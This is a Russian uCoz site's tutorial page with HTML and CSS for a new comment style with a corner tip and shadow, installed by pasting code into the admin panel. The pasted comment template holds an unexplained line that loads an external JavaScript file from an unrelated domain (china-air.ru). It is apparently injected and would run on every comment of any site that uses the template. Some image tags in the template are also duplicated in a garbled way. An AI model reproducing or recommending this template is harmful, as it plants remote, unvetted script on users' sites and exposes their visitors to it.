Категории сайта
Новые статьи
    Партнеры сайта
    Все для CS сайтов и системы uCoz Портфолио arti
    Игры, фильмы, программы и развлечения!
    Теги
    Шаблоны,Макеты,Скрипты,uCoz,Игры,Читы ,Counter Strike,Модификации,Моды,Спрайты,Патчи

    Макеты для uCoz

    Игры для ПК

    Скрипты для uCoz

    Шаблоны укоз CS

    Софт программы
    Помощь по uCoz
    Мини Чат
     
    200
    Новое на форуме
    Реклама 150x200
    Статистика сайта
    Сейчас онлайн:
    Наши реквизиты

    WMR: R323671330798
    Yandex: 410011841174361
    Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком
    09:12
    Новый вид комментария для uCoz с уголком
    Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
    Установка:
    - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
    ищем код

    Code
    $COM_BODY$


    и заменяем его на

    Code
    <ul class="cell_coment">  
      $COM_BODY$  
      </ul>


    - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

    Code
    <li>  
      <div class="avatar"><a href="$PROFILE_URL$"><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></a><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></div>  
      <div class="coment_info">  
      <span class="tip"></span>  
      <div class="coment_os">  
      <div class="coment_name left"><a href="$PROFILE_URL$">$USERNAME$</a>$NAME$ <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>  
      <div class="coment_message left">$MESSAGE$</div>  
      <div class="coment_rating right">$COMMENT_RATING$ <span style="color:gray;">$COMMENT_RATING$ </span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"> $MODER_PANEL$</div>  
      </div>  
      </div>  
      </li>


    - и прописываем в css следующий код

    Code
    /* ВИД КОММЕНТАРИЯ  
      ===================================================*/  
      .cell_coment {  
      list-style: none;  
      padding: 0px;  
      margin: 0px;  
      }  
       
      .cell_coment li {  
      position: relative;  
      padding-left: 60px;  
      width: 500px;  
      }  
       
      .coment_info {  
      position: relative;  
      text-align:justify;  
      color: #555;  
      background: #fff;  
      border: 1px solid #C9C9C9;  
      padding: 10px;  
      margin-bottom: 30px;  
      }  
       
      .coment_os {  
      overflow: hidden;  
      }  
       
      .coment_name,  
      .coment_nomer {  
      padding-bottom: 5px;  
      }  
       
      .coment_message {  
      width: 100%;  
      border-top: 1px solid #C9C9C9;  
      border-bottom: 1px solid #C9C9C9;  
      padding: 5px 0px;  
      }  
       
      .coment_rating {  
      padding-top: 5px;  
      }  
       
      .coment_name,  
      .coment_nomer,  
      .coment_rating {  
      font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;  
      font-weight: bold;  
      }  
       
      .avatar a:hover,  
      .avatar {  
      position: absolute;  
      height: 45px;  
      width: 45px;  
      left: 0;  
      }  
       
      .avatar img {  
      height: 45px;  
      width: 45px;  
      border: none;  
      }  
       
      .tip{  
      position: absolute;  
      top: 10px;  
      left: -7px;  
      height: 13px;  
      width: 9px;  
      background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;  
      }  
       
      .coment_info,  
      .avatar a:hover {  
      box-shadow: 0px 0px 5px #999;  
      -moz-box-shadow: 0px 0px 5px #999;  
      -webkit-box-shadow: 0px 0px 5px #999;  
      }  
       
      .left {float:left;}  
      .right {float:right;}  
      .clear {clear:left;}  
       
      .coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}  
      /* =================================================*/
    Категория: Скрипты для uCoz | Просмотров: 376 | Добавил: budyvmaster | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Скрипты для uCoz | Шаблоны для uCoz | Игровые PSD макеты | Игры и все для игр